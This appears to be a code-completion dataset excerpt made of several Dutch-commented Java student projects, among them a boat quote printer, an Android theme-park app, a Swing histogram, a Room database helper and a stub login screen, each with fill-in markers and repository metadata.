Printer.getInstance().printFormatInfo(String.format("%.2f", workCost));
Printer.getInstance().emptyLine();
//Totaal prijs boot incl btw
totalPriceBoat = calculatePercentage(121, totalPriceBoat);
Printer.getInstance().printFormatInfo(String.format("Totaal prijs boot incl. Btw(21%%):"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", totalPriceBoat));
Printer.getInstance().emptyLine();
//Totaalprijs offerte
totalPriceBoat += workHoursCost;
Printer.getInstance().printSpaces(128);
Printer.getInstance().printCharacters(1,'+');
Printer.getInstance().emptyLine();
Printer.getInstance().printFormatInfo(String.format("Totaal prijs offerte:"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", totalPriceBoat));
}
} | 22082476/PROJ1-Milkshake | src/Shipflex/Quote.java | 2,681 | //Totaal prijs boot | line_comment | nl | package Shipflex;
import Boat.Boat;
import Boat.Option;
import Customer.CustomCustomer;
import Customer.BusinessCustomer;
import Customer.FoundationCustomer;
import Customer.GovermentCustomer;
import DataInOut.Info;
import DataInOut.Printer;
import java.util.ArrayList;
import java.util.List;
public class Quote {
private Company companyShipbuild;
private CustomCustomer customCustomer;
private BusinessCustomer businessCustomer;
private GovermentCustomer govermentCustomer;
private FoundationCustomer foundationCustomer;
private String date;
private String quoteDate;
private String about;
private double workHoursCost;
private Boat boat;
public Quote(Company companyShipbuild, Boat boat) {
this.companyShipbuild = companyShipbuild;
this.businessCustomer = null;
this.customCustomer = null;
this.govermentCustomer = null;
this.foundationCustomer = null;
this.boat = boat;
}
public void setCustomCustomer(CustomCustomer customCustomer) {
this.customCustomer = customCustomer;
}
public void setBusinessCustomer(BusinessCustomer businessCustomer) {
this.businessCustomer = businessCustomer;
}
public void setGovermentCustomer(GovermentCustomer govermentCustomer) {
this.govermentCustomer = govermentCustomer;
}
public void setFoundationCustomer(FoundationCustomer foundationCustomer) {
this.foundationCustomer = foundationCustomer;
}
public void setAbout(String about) {
this.about = about;
}
public void setDate(String date) {
this.date = date;
}
public void setQuoteDate(String quoteDate) {
this.quoteDate = quoteDate;
}
public void setBoat(Boat boat) {
this.boat = boat;
}
public Boat getBoat() {
return boat;
}
public CustomCustomer getCustomCustomer() {
return customCustomer;
}
public BusinessCustomer getBusinessCustomer() {
return businessCustomer;
}
public GovermentCustomer getGovermentCustomer() {
return govermentCustomer;
}
public FoundationCustomer getFoundationCustomer() {
return foundationCustomer;
}
public void setWorkHoursCost(double workHoursCost) {
this.workHoursCost = workHoursCost;
}
public void printCustomer() {
switch (checkCustomerType()) {
case "goverment":
govermentCustomer.printCustomer();
break;
case "business":
businessCustomer.printCustomer();
break;
case "foundation":
foundationCustomer.printCustomer();
break;
case "customer":
customCustomer.printCustomer();
break;
default:
Printer.getInstance().printLine("Nog geen klant toegevoegd");
break;
}
}
private String checkCustomerType() {
if (govermentCustomer != null) {
return "goverment";
} else if (businessCustomer != null) {
return "business";
} else if (customCustomer != null) {
return "customer";
} else if (foundationCustomer != null) {
return "foundation";
} else {
return "";
}
}
public void printOptions(boolean showIndex) {
for (Option option : this.boat.getOptions()) {
if (showIndex)
Info.printOptionInfo(option, Info.getOptions().indexOf(option));
else
Info.printOptionInfo(option, -1);
Printer.getInstance().emptyLine();
}
}
public void printDate() {
if (this.date != null && !this.date.equals("")) {
Printer.getInstance().printLine("Datum: " + this.date);
} else {
Printer.getInstance().printLine("Datum nog niet ingevuld");
}
if (this.quoteDate != null && !this.quoteDate.equals("")) {
Printer.getInstance().printLine("Geldigsheid datum: " + this.quoteDate);
} else {
Printer.getInstance().printLine("Geldigsheid datum nog niet ingevuld");
}
}
public void printBasicInformation() {
companyShipbuild.printCompany();
Printer.getInstance().emptyLine();
printCustomer();
Printer.getInstance().emptyLine();
printDate();
Printer.getInstance().emptyLine();
if(this.about != null && !this.about.equals("")) {
Printer.getInstance().printLine("Betreft: " + this.about);
}else {
Printer.getInstance().printLine("Betreft is nog niet ingevuld");
}
Printer.getInstance().emptyLine();
}
public void printQuote() {
Printer.getInstance().printCharacters(129, '━');
Printer.getInstance().emptyLine();
this.printBasicInformation();
Printer.getInstance().printCharacters(78, '﹏');
Printer.getInstance().emptyLine();
boat.printBoat();
Printer.getInstance().printCharacters(78, '﹏');
Printer.getInstance().emptyLine();
this.printOptions();
Printer.getInstance().emptyLine();
this.printTotal();
Printer.getInstance().emptyLine();
Printer.getInstance().printCharacters(129, '━');
}
public void printOptions() {
List<Option> essentialOptions = new ArrayList<>();
List<Option> extraOptions = new ArrayList<>();
for (Option option : boat.getOptions()) {
if (option.getEssentialForBoatType().contains(boat.getType().toLowerCase()))
essentialOptions.add(option);
else
extraOptions.add(option);
}
printOptionsListFormatted(essentialOptions);
printOptionsListFormatted(extraOptions);
}
private void printOptionsListFormatted(List<Option> options) {
for (Option option : options) {
option.printOptionInfoForBoat(boat.getType());
}
}
public int getDiscount() {
int discount = 0;
switch (checkCustomerType()) {
case "goverment":
discount = govermentCustomer.getDiscount();
break;
case "business":
discount = businessCustomer.getDiscount();
break;
case "foundation":
discount = foundationCustomer.getDiscount();
break;
case "customer":
discount = customCustomer.getDiscount();
break;
}
return 100 - discount;
}
public double calculatePercentage(int percentage, double price) {
return (price / 100) * percentage;
}
public double calculateBoatPrice() {
double price = 0;
price += boat.getBasePrice();
for (Option option : boat.getOptions()) {
price += option.getPrice();
}
return price;
}
public void printTotal() {
Printer.getInstance().emptyLine();
//Totaal prijs<SUF>
double totalPriceBoat = calculateBoatPrice();
Printer.getInstance().printFormatInfo(String.format("Totaal prijs boot:"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", totalPriceBoat));
Printer.getInstance().emptyLine();
//Totaal prijs boot met korting
if (getDiscount() < 100 && getDiscount() > 0) {
totalPriceBoat = calculatePercentage(getDiscount(), totalPriceBoat);
Printer.getInstance().printFormatInfo(String.format("Totaal prijs boot met korting:"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", totalPriceBoat));
Printer.getInstance().emptyLine();
}
//prijs arbeids uren
Printer.getInstance().emptyLine();
double workCost = workHoursCost;
Printer.getInstance().printFormatInfo("Prijs arbeids uren:");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", workCost));
Printer.getInstance().emptyLine();
Printer.getInstance().emptyLine();
//prijs arbeids uren incl
workCost = calculatePercentage(109, workCost);
Printer.getInstance().printFormatInfo(String.format("Prijs arbeids uren incl. Btw(9%%):"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", workCost));
Printer.getInstance().emptyLine();
//Totaal prijs boot incl btw
totalPriceBoat = calculatePercentage(121, totalPriceBoat);
Printer.getInstance().printFormatInfo(String.format("Totaal prijs boot incl. Btw(21%%):"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", totalPriceBoat));
Printer.getInstance().emptyLine();
//Totaalprijs offerte
totalPriceBoat += workHoursCost;
Printer.getInstance().printSpaces(128);
Printer.getInstance().printCharacters(1,'+');
Printer.getInstance().emptyLine();
Printer.getInstance().printFormatInfo(String.format("Totaal prijs offerte:"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", totalPriceBoat));
}
} |
25358_1 | package be.ehb.funinthequeue;
import android.app.Activity;
import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.view.ViewPager;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Toast;
import com.anupcowkur.reservoir.Reservoir;
import be.ehb.funinthequeue.adapters.ViewPagerAdapter;
import be.ehb.funinthequeue.fragments.AchievementsFragment;
import be.ehb.funinthequeue.fragments.AttractieDetailFragment;
import be.ehb.funinthequeue.fragments.AvatarFragment;
import be.ehb.funinthequeue.fragments.GameFragment;
import be.ehb.funinthequeue.fragments.GameFragment2;
import be.ehb.funinthequeue.fragments.HighscoresFragment;
import be.ehb.funinthequeue.fragments.HomeFragment;
import be.ehb.funinthequeue.fragments.ProfielAanpassenFragment;
import be.ehb.funinthequeue.fragments.ProfielFragment;
import be.ehb.funinthequeue.fragments.QueueFragment;
import be.ehb.funinthequeue.fragments.VriendenFragment;
import be.ehb.funinthequeue.game.catch_a_cube.GameActivity;
import be.ehb.funinthequeue.game.quiz.QuizActivity;
import be.ehb.funinthequeue.model.User;
import be.ehb.funinthequeue.rest.RestAPI;
import be.ehb.funinthequeue.tasks.DataLoadTask;
import be.ehb.funinthequeue.tasks.QrTriggerTask;
import uk.co.chrisjenx.calligraphy.CalligraphyConfig;
import uk.co.chrisjenx.calligraphy.CalligraphyContextWrapper;
public class MainActivity extends AppCompatActivity {
Fragment fragment;
Fragment home;
Fragment profile;
Fragment game1;
Fragment game2;
Fragment wachttijden;
Fragment detail;
Fragment gegevens;
Fragment highscores;
Fragment achievements;
Fragment avatars;
Fragment vrienden;
RestAPI API;
ViewPager viewPager;
static final String ACTION_SCAN = "com.google.zxing.client.android.SCAN";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
CalligraphyConfig.initDefault(new CalligraphyConfig.Builder()
.setDefaultFontPath("fonts/GOTHAM-BOOK.OTF")
.setFontAttrId(R.attr.fontPath)
.build()
);
getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN);
fragment = new HomeFragment();
profile = new ProfielFragment();
home = new HomeFragment();
game1 = new GameFragment();
game2 = new GameFragment2();
wachttijden = new QueueFragment();
detail = new AttractieDetailFragment();
gegevens = new ProfielAanpassenFragment();
highscores = new HighscoresFragment();
achievements = new AchievementsFragment();
avatars = new AvatarFragment();
vrienden = new VriendenFragment();
viewPager = (ViewPager) findViewById(R.id.viewpager);
setupViewPager(viewPager);
try {
Reservoir.init(this, 20000000); //in bytes
} catch (Exception e) {
//failure
}
API = new RestAPI();
new DataLoadTask(API, HelperFunctions.loadUserFromPreferences(MainActivity.this)).execute();
}
@Override
protected void onStart() {
super.onStart();
onTrimMemory(TRIM_MEMORY_COMPLETE);
}
//product qr code mode
public void goToQR(View v) {
try {
Intent intent = new Intent(ACTION_SCAN);
intent.putExtra("SCAN_MODE", "QR_CODE_MODE");
startActivityForResult(intent, 0);
} catch (ActivityNotFoundException anfe) {
showDialog(MainActivity.this, "Geen correcte scanner gevonden", "Wilt u een scanner downloaden", "Ja", "Nee").show();
}
}
//download de scanner
private static AlertDialog showDialog(final Activity act, CharSequence title, CharSequence message, CharSequence buttonYes, CharSequence buttonNo) {
AlertDialog.Builder downloadDialog = new AlertDialog.Builder(act);
downloadDialog.setTitle(title);
downloadDialog.setMessage(message);
downloadDialog.setPositiveButton(buttonYes, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialogInterface, int i) {
Uri uri = Uri.parse("market://search?q=pname:" + "com.google.zxing.client.android");
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
try {
act.startActivity(intent);
} catch (ActivityNotFoundException anfe) {
}
}
});
downloadDialog.setNegativeButton(buttonNo, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialogInterface, int i) {
}
});
return downloadDialog.show();
}
// scandata ontvangen
public void onActivityResult(int requestCode, int resultCode, Intent intent) {
if (requestCode == 0) {
if (resultCode == RESULT_OK) {
//get the extras that are returned from the intent
String content = intent.getStringExtra("SCAN_RESULT");
User u = HelperFunctions.loadUserFromPreferences(MainActivity.this);
new QrTriggerTask(this, API, content, u.getId()).execute();
Toast toast = Toast.makeText(this, "Code succesvol gescanned!", Toast.LENGTH_LONG);
toast.show();
}
}
}
private void setupViewPager(ViewPager viewpager) {
ViewPagerAdapter adapter = new ViewPagerAdapter(getSupportFragmentManager());
adapter.addFrag(new HomeFragment());
adapter.addFrag(new GameFragment());
adapter.addFrag(new ProfielFragment());
adapter.addFrag(new QueueFragment());
viewpager.setAdapter(adapter);
}
protected void attachBaseContext(Context newBase) {
super.attachBaseContext(CalligraphyContextWrapper.wrap(newBase));
}
public void changePage(int position) {
FragmentManager fragmentManager = getSupportFragmentManager();
switch (position) {
default:
case 0:
fragment = game2;
break;
case 1:
fragment = detail;
break;
case 2:
fragment = gegevens;
break;
case 3:
fragment = highscores;
break;
case 4:
fragment = achievements;
break;
case 5:
fragment = avatars;
break;
case 6:
fragment = vrienden;
break;
case 7:
fragment = profile;
break;
}
fragmentManager.beginTransaction()
.replace(R.id.container, fragment)
.addToBackStack(null)
.commit();
}
public void goToHome(View view){
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(0);
}
public void backButtonAttractie(View view) {
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(3);
FragmentManager fragmentManager = getSupportFragmentManager();
fragmentManager.beginTransaction()
.remove(fragment)
.commit();
}
public void goToQueue(View view){
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(3);
}
public void startCubeGame(View view) {
Intent myIntent = new Intent(MainActivity.this, GameActivity.class);
MainActivity.this.startActivity(myIntent);
}
public void startQuiz(View view) {
Intent newIntent = new Intent(MainActivity.this, QuizActivity.class);
MainActivity.this.startActivity(newIntent);
}
public void goToSettings(View view) {
changePage(2);
}
public void goToProfile(View v){
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(2);
FragmentManager fragmentManager = getSupportFragmentManager();
fragmentManager.beginTransaction()
.remove(fragment)
.commit();
}
public void goToQuiz(View v){
changePage(0);
}
public void goToGame(View v){
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(1);
FragmentManager fragmentManager = getSupportFragmentManager();
fragmentManager.beginTransaction()
.remove(fragment)
.commit();
}
public void goToHighscore(View view) {
changePage(3);
}
public void goToAchievements(View view) {
changePage(4);
}
public void goToAvatars(View view) {
changePage(5);
}
public void goToFriends(View view) {
changePage(6);
}
public void logOutClick(View v){
HelperFunctions.removeUserPreferences(MainActivity.this);
Intent newIntent = new Intent(MainActivity.this, LoginActivity.class);
MainActivity.this.startActivity(newIntent);
}
}
| 2645/integration_multiscreen_groep1_app | FunInTheQueue/app/src/main/java/be/ehb/funinthequeue/MainActivity.java | 2,775 | //download de scanner | line_comment | nl | package be.ehb.funinthequeue;
import android.app.Activity;
import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.view.ViewPager;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Toast;
import com.anupcowkur.reservoir.Reservoir;
import be.ehb.funinthequeue.adapters.ViewPagerAdapter;
import be.ehb.funinthequeue.fragments.AchievementsFragment;
import be.ehb.funinthequeue.fragments.AttractieDetailFragment;
import be.ehb.funinthequeue.fragments.AvatarFragment;
import be.ehb.funinthequeue.fragments.GameFragment;
import be.ehb.funinthequeue.fragments.GameFragment2;
import be.ehb.funinthequeue.fragments.HighscoresFragment;
import be.ehb.funinthequeue.fragments.HomeFragment;
import be.ehb.funinthequeue.fragments.ProfielAanpassenFragment;
import be.ehb.funinthequeue.fragments.ProfielFragment;
import be.ehb.funinthequeue.fragments.QueueFragment;
import be.ehb.funinthequeue.fragments.VriendenFragment;
import be.ehb.funinthequeue.game.catch_a_cube.GameActivity;
import be.ehb.funinthequeue.game.quiz.QuizActivity;
import be.ehb.funinthequeue.model.User;
import be.ehb.funinthequeue.rest.RestAPI;
import be.ehb.funinthequeue.tasks.DataLoadTask;
import be.ehb.funinthequeue.tasks.QrTriggerTask;
import uk.co.chrisjenx.calligraphy.CalligraphyConfig;
import uk.co.chrisjenx.calligraphy.CalligraphyContextWrapper;
public class MainActivity extends AppCompatActivity {
Fragment fragment;
Fragment home;
Fragment profile;
Fragment game1;
Fragment game2;
Fragment wachttijden;
Fragment detail;
Fragment gegevens;
Fragment highscores;
Fragment achievements;
Fragment avatars;
Fragment vrienden;
RestAPI API;
ViewPager viewPager;
static final String ACTION_SCAN = "com.google.zxing.client.android.SCAN";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
CalligraphyConfig.initDefault(new CalligraphyConfig.Builder()
.setDefaultFontPath("fonts/GOTHAM-BOOK.OTF")
.setFontAttrId(R.attr.fontPath)
.build()
);
getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN);
fragment = new HomeFragment();
profile = new ProfielFragment();
home = new HomeFragment();
game1 = new GameFragment();
game2 = new GameFragment2();
wachttijden = new QueueFragment();
detail = new AttractieDetailFragment();
gegevens = new ProfielAanpassenFragment();
highscores = new HighscoresFragment();
achievements = new AchievementsFragment();
avatars = new AvatarFragment();
vrienden = new VriendenFragment();
viewPager = (ViewPager) findViewById(R.id.viewpager);
setupViewPager(viewPager);
try {
Reservoir.init(this, 20000000); //in bytes
} catch (Exception e) {
//failure
}
API = new RestAPI();
new DataLoadTask(API, HelperFunctions.loadUserFromPreferences(MainActivity.this)).execute();
}
@Override
protected void onStart() {
super.onStart();
onTrimMemory(TRIM_MEMORY_COMPLETE);
}
//product qr code mode
public void goToQR(View v) {
try {
Intent intent = new Intent(ACTION_SCAN);
intent.putExtra("SCAN_MODE", "QR_CODE_MODE");
startActivityForResult(intent, 0);
} catch (ActivityNotFoundException anfe) {
showDialog(MainActivity.this, "Geen correcte scanner gevonden", "Wilt u een scanner downloaden", "Ja", "Nee").show();
}
}
//download de<SUF>
private static AlertDialog showDialog(final Activity act, CharSequence title, CharSequence message, CharSequence buttonYes, CharSequence buttonNo) {
AlertDialog.Builder downloadDialog = new AlertDialog.Builder(act);
downloadDialog.setTitle(title);
downloadDialog.setMessage(message);
downloadDialog.setPositiveButton(buttonYes, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialogInterface, int i) {
Uri uri = Uri.parse("market://search?q=pname:" + "com.google.zxing.client.android");
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
try {
act.startActivity(intent);
} catch (ActivityNotFoundException anfe) {
}
}
});
downloadDialog.setNegativeButton(buttonNo, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialogInterface, int i) {
}
});
return downloadDialog.show();
}
// scandata ontvangen
public void onActivityResult(int requestCode, int resultCode, Intent intent) {
if (requestCode == 0) {
if (resultCode == RESULT_OK) {
//get the extras that are returned from the intent
String content = intent.getStringExtra("SCAN_RESULT");
User u = HelperFunctions.loadUserFromPreferences(MainActivity.this);
new QrTriggerTask(this, API, content, u.getId()).execute();
Toast toast = Toast.makeText(this, "Code succesvol gescanned!", Toast.LENGTH_LONG);
toast.show();
}
}
}
private void setupViewPager(ViewPager viewpager) {
ViewPagerAdapter adapter = new ViewPagerAdapter(getSupportFragmentManager());
adapter.addFrag(new HomeFragment());
adapter.addFrag(new GameFragment());
adapter.addFrag(new ProfielFragment());
adapter.addFrag(new QueueFragment());
viewpager.setAdapter(adapter);
}
protected void attachBaseContext(Context newBase) {
super.attachBaseContext(CalligraphyContextWrapper.wrap(newBase));
}
public void changePage(int position) {
FragmentManager fragmentManager = getSupportFragmentManager();
switch (position) {
default:
case 0:
fragment = game2;
break;
case 1:
fragment = detail;
break;
case 2:
fragment = gegevens;
break;
case 3:
fragment = highscores;
break;
case 4:
fragment = achievements;
break;
case 5:
fragment = avatars;
break;
case 6:
fragment = vrienden;
break;
case 7:
fragment = profile;
break;
}
fragmentManager.beginTransaction()
.replace(R.id.container, fragment)
.addToBackStack(null)
.commit();
}
public void goToHome(View view){
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(0);
}
public void backButtonAttractie(View view) {
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(3);
FragmentManager fragmentManager = getSupportFragmentManager();
fragmentManager.beginTransaction()
.remove(fragment)
.commit();
}
public void goToQueue(View view){
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(3);
}
public void startCubeGame(View view) {
Intent myIntent = new Intent(MainActivity.this, GameActivity.class);
MainActivity.this.startActivity(myIntent);
}
public void startQuiz(View view) {
Intent newIntent = new Intent(MainActivity.this, QuizActivity.class);
MainActivity.this.startActivity(newIntent);
}
public void goToSettings(View view) {
changePage(2);
}
public void goToProfile(View v){
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(2);
FragmentManager fragmentManager = getSupportFragmentManager();
fragmentManager.beginTransaction()
.remove(fragment)
.commit();
}
public void goToQuiz(View v){
changePage(0);
}
public void goToGame(View v){
viewPager = (ViewPager) findViewById(R.id.viewpager);
viewPager.setCurrentItem(1);
FragmentManager fragmentManager = getSupportFragmentManager();
fragmentManager.beginTransaction()
.remove(fragment)
.commit();
}
public void goToHighscore(View view) {
changePage(3);
}
public void goToAchievements(View view) {
changePage(4);
}
public void goToAvatars(View view) {
changePage(5);
}
public void goToFriends(View view) {
changePage(6);
}
public void logOutClick(View v){
HelperFunctions.removeUserPreferences(MainActivity.this);
Intent newIntent = new Intent(MainActivity.this, LoginActivity.class);
MainActivity.this.startActivity(newIntent);
}
}
|
141870_0 | package view;
import java.awt.Color;
import java.awt.Graphics;
import java.util.HashMap;
import javax.swing.JPanel;
import logic.Counter;
/**
* maak een histogram aan
*/
public class Histogram extends JPanel
{
// hashmap die hoeveelheid per kleur bij houdt
private HashMap<Color, Counter> stats;
// hoogte van de histogram
private int height;
// breedte van de histogram
private int width;
// afstand tussen ieder balk
private final int SPACE = 40;
/**
* leeg constructor
*/
public Histogram()
{
}
/**
* stats wordt toegewezen
* @param stats populate stats
*/
public void stats(HashMap<Color, Counter> stats)
{
this.stats = stats;
}
/**
* bepaald de frame grote van de histogram
* @param width
* @param height
*/
public void setSize(int width, int height)
{
this.width = width;
this.height = height;
}
/**
* maak de histogram
* @param g Graphic component
*/
@Override
public void paintComponent(Graphics g)
{
super.paintComponent(g);
// hoogte van de blok
int height;
// breedte van de blok
int width;
if (!stats.isEmpty())
{
width = this.width / stats.size();
}
else
{
width = 4;
}
// blok counter
int blok = 0;
// teken de blok
for (Color color : stats.keySet())
{
// bepaald de hoogte van de blok;
height = stats.get(color).getCount() / 5;
// kleurt de blok
g.setColor(color);
g.fillRect(width * blok + SPACE, this.height - height - SPACE, width - 1, height);
// paint de outline van de blok
g.setColor(Color.BLACK);
g.drawRect(width * blok + SPACE, this.height - height - SPACE, width - 1, height);
blok++;
}
}
} | 2ntense/foxes-and-rabbits-v2 | src/view/Histogram.java | 634 | /**
* maak een histogram aan
*/ | block_comment | nl | package view;
import java.awt.Color;
import java.awt.Graphics;
import java.util.HashMap;
import javax.swing.JPanel;
import logic.Counter;
/**
* maak een histogram<SUF>*/
public class Histogram extends JPanel
{
// hashmap die hoeveelheid per kleur bij houdt
private HashMap<Color, Counter> stats;
// hoogte van de histogram
private int height;
// breedte van de histogram
private int width;
// afstand tussen ieder balk
private final int SPACE = 40;
/**
* leeg constructor
*/
public Histogram()
{
}
/**
* stats wordt toegewezen
* @param stats populate stats
*/
public void stats(HashMap<Color, Counter> stats)
{
this.stats = stats;
}
/**
* bepaald de frame grote van de histogram
* @param width
* @param height
*/
public void setSize(int width, int height)
{
this.width = width;
this.height = height;
}
/**
* maak de histogram
* @param g Graphic component
*/
@Override
public void paintComponent(Graphics g)
{
super.paintComponent(g);
// hoogte van de blok
int height;
// breedte van de blok
int width;
if (!stats.isEmpty())
{
width = this.width / stats.size();
}
else
{
width = 4;
}
// blok counter
int blok = 0;
// teken de blok
for (Color color : stats.keySet())
{
// bepaald de hoogte van de blok;
height = stats.get(color).getCount() / 5;
// kleurt de blok
g.setColor(color);
g.fillRect(width * blok + SPACE, this.height - height - SPACE, width - 1, height);
// paint de outline van de blok
g.setColor(Color.BLACK);
g.drawRect(width * blok + SPACE, this.height - height - SPACE, width - 1, height);
blok++;
}
}
} |
90566_4 | package com.example.snackapp.Model;
import android.content.Context;
import android.util.Log;
import androidx.room.Database;
import androidx.room.Room;
import androidx.room.RoomDatabase;
import androidx.sqlite.db.SupportSQLiteDatabase;
import com.example.snackapp.DAO.BestellingDao;
import com.example.snackapp.DAO.UserDao;
@Database(version = 1, entities = {User.class, Bestelling.class})
public abstract class DatabaseHelper extends RoomDatabase {
private static final String TAG = "DatabaseHelper";
private static DatabaseHelper INSTANCE;
public static synchronized DatabaseHelper getInstance(Context context) {
if (INSTANCE == null) {
INSTANCE = Room.databaseBuilder(context.getApplicationContext(),
DatabaseHelper.class, "SnackApp.sqlite")
.addCallback(roomCallback)
.build();
}
return INSTANCE;
}
public abstract UserDao getUserDao();
public abstract BestellingDao getBestellingDao();
private static RoomDatabase.Callback roomCallback = new RoomDatabase.Callback() {
@Override
public void onOpen(SupportSQLiteDatabase db) {
super.onOpen(db);
Log.d(TAG, "Database geopend");
// Zorg ervoor dat de database niet voortijdig wordt gesloten tijdens initialisatie
if (!db.isOpen()) {
Log.e(TAG, "Database is voortijdig gesloten tijdens initialisatie");
// Handel dit geval op de juiste manier af, gooi een uitzondering of neem corrigerende maatregelen
}
}
@Override
public void onCreate(SupportSQLiteDatabase db) {
super.onCreate(db);
Log.d(TAG, "Database aangemaakt");
// Initialiseer tabellen of voer initiële gegevensinvoer uit indien nodig
// Voorbeeld: db.execSQL("CREATE TABLE IF NOT EXISTS ...");
// Geen noodzaak voor getWritableDatabase(); je hebt hier al toegang tot db
}
};
}
| 2speef10/SnackApp | app/src/main/java/com/example/snackapp/Model/DatabaseHelper.java | 541 | // Geen noodzaak voor getWritableDatabase(); je hebt hier al toegang tot db | line_comment | nl | package com.example.snackapp.Model;
import android.content.Context;
import android.util.Log;
import androidx.room.Database;
import androidx.room.Room;
import androidx.room.RoomDatabase;
import androidx.sqlite.db.SupportSQLiteDatabase;
import com.example.snackapp.DAO.BestellingDao;
import com.example.snackapp.DAO.UserDao;
@Database(version = 1, entities = {User.class, Bestelling.class})
public abstract class DatabaseHelper extends RoomDatabase {
private static final String TAG = "DatabaseHelper";
private static DatabaseHelper INSTANCE;
public static synchronized DatabaseHelper getInstance(Context context) {
if (INSTANCE == null) {
INSTANCE = Room.databaseBuilder(context.getApplicationContext(),
DatabaseHelper.class, "SnackApp.sqlite")
.addCallback(roomCallback)
.build();
}
return INSTANCE;
}
public abstract UserDao getUserDao();
public abstract BestellingDao getBestellingDao();
private static RoomDatabase.Callback roomCallback = new RoomDatabase.Callback() {
@Override
public void onOpen(SupportSQLiteDatabase db) {
super.onOpen(db);
Log.d(TAG, "Database geopend");
// Zorg ervoor dat de database niet voortijdig wordt gesloten tijdens initialisatie
if (!db.isOpen()) {
Log.e(TAG, "Database is voortijdig gesloten tijdens initialisatie");
// Handel dit geval op de juiste manier af, gooi een uitzondering of neem corrigerende maatregelen
}
}
@Override
public void onCreate(SupportSQLiteDatabase db) {
super.onCreate(db);
Log.d(TAG, "Database aangemaakt");
// Initialiseer tabellen of voer initiële gegevensinvoer uit indien nodig
// Voorbeeld: db.execSQL("CREATE TABLE IF NOT EXISTS ...");
// Geen noodzaak<SUF>
}
};
}
|
137200_2 | package com.example.villoapp.Views;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.example.villoapp.Model.MainActivity;
import com.example.villoapp.R;
import com.example.villoapp.Model.User;
public class LoginActivity extends AppCompatActivity {
private EditText emailEditText, passwordEditText;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
emailEditText = findViewById(R.id.login_email);
passwordEditText = findViewById(R.id.login_password);
Button loginButton = findViewById(R.id.login_button);
loginButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
loginUser();
}
});
TextView registerRedirectText = findViewById(R.id.loginRedirectText);
registerRedirectText.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
navigateToSignup();
}
});
}
private void loginUser() {
String email = emailEditText.getText().toString();
String password = passwordEditText.getText().toString();
// Hier moet je de logica voor het inloggen implementeren
// Vergelijk bijvoorbeeld de inloggegevens met een database of een andere authenticatiemethode
// Voorbeeld: controleer of de velden niet leeg zijn
if (!email.isEmpty() && !password.isEmpty()) {
// Voorbeeld: simulatie van succesvol inloggen
Toast.makeText(this, "Login successful!", Toast.LENGTH_SHORT).show();
// Start MainActivity na succesvol inloggen
Intent intent = new Intent(LoginActivity.this, MainActivity.class);
startActivity(intent);
finish(); // Sluit de LoginActivity om terugkeren te voorkomen
} else {
// Geef een foutmelding als de velden leeg zijn
Toast.makeText(this, "Please enter valid credentials!", Toast.LENGTH_SHORT).show();
}
}
private void navigateToSignup() {
Intent intent = new Intent(LoginActivity.this, SignupActivity.class);
startActivity(intent);
finish(); // Sluit de huidige activiteit (LoginActivity) na navigatie
}
}
